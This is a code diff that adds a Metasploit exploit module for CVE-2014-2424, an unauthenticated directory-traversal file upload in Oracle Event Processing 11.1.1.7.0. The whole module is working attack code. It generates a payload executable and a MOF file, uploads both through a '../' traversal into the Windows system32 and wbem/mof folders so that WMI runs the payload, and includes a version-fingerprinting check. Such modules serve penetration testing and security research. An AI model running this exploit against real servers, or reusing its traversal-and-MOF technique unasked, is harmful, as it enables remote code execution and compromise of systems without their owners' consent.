Land #3480 - Oracle Event Processing FileUploadServlet Arbitrary File Upload

modules/exploits/windows/http/oracle_event_processing_upload.rb

@@ -0,0 +1,132 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+  include Msf::Exploit::WbemExec
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload',
+      'Description'    => %q{
+        This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing
+        11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be
+        abused to upload a malicious file onto an arbitrary location due to a directory traversal
+        flaw, and compromise the server. By default Oracle Event Processing uses a Jetty
+        Application Server without JSP support, which limits the attack to WbemExec. The current
+        WbemExec technique only requires arbitrary write to the file system, but at the moment the
+        module only supports Windows 2003 SP2 or older.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
+          'juan vazquez' # Metasploit module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2014-2424'],
+          ['ZDI', '14-106'],
+          ['BID', '66871'],
+          ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html']
+        ],
+      'DefaultOptions' =>
+        {
+          'WfsDelay' => 5
+        },
+      'Payload'        =>
+        {
+          'DisableNops' => true,
+          'Space'       => 2048
+        },
+      'Platform'       => 'win',
+      'Arch'           => ARCH_X86,
+      'Targets'        =>
+        [
+          ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Apr 21 2014'))
+
+    register_options(
+      [
+        Opt::RPORT(9002),
+        # By default, uploads are stored in:
+        # C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\
+        OptInt.new('DEPTH', [true, 'Traversal depth', 7])
+      ], self.class)
+  end
+
+  def upload(file_name, contents)
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"")
+    post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"")
+    data = post_data.to_s
+
+    res = send_request_cgi({
+      'uri'    => '/wlevs/visualizer/upload',
+      'method' => 'POST',
+      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
+      'data'   => data
+    })
+
+    res
+  end
+
+  def traversal
+    "../" * datastore['DEPTH']
+  end
+
+  def exploit
+    print_status("#{peer} - Generating payload and mof file...")
+    mof_name = "#{rand_text_alpha(rand(5)+5)}.mof"
+    exe_name = "#{rand_text_alpha(rand(5)+5)}.exe"
+    exe_content = generate_payload_exe
+    mof_content = generate_mof(mof_name, exe_name)
+
+    print_status("#{peer} - Uploading the exe payload #{exe_name}...")
+    exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}"
+    res = upload(exe_traversal, exe_content)
+
+    unless res && res.code == 200 && res.body.blank?
+      print_error("#{peer} - Unexpected answer, trying anyway...")
+    end
+    register_file_for_cleanup(exe_name)
+
+    print_status("#{peer} - Uploading the MOF file #{mof_name}")
+    mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}"
+    upload(mof_traversal, mof_content)
+    register_file_for_cleanup("wbem/mof/good/#{mof_name}")
+  end
+
+  def check
+    res = send_request_cgi({
+      'uri'    => '/ohw/help/state',
+      'method' => 'GET',
+      'vars_get'  => {
+        'navSetId' => 'cepvi',
+        'navId' => '0',
+        'destination' => ''
+      }
+    })
+
+    if res && res.code == 200
+      if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)")
+        return Exploit::CheckCode::Detected
+      elsif res.body.to_s.include?("Oracle Event Processing 12")
+        return Exploit::CheckCode::Safe
+      end
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+end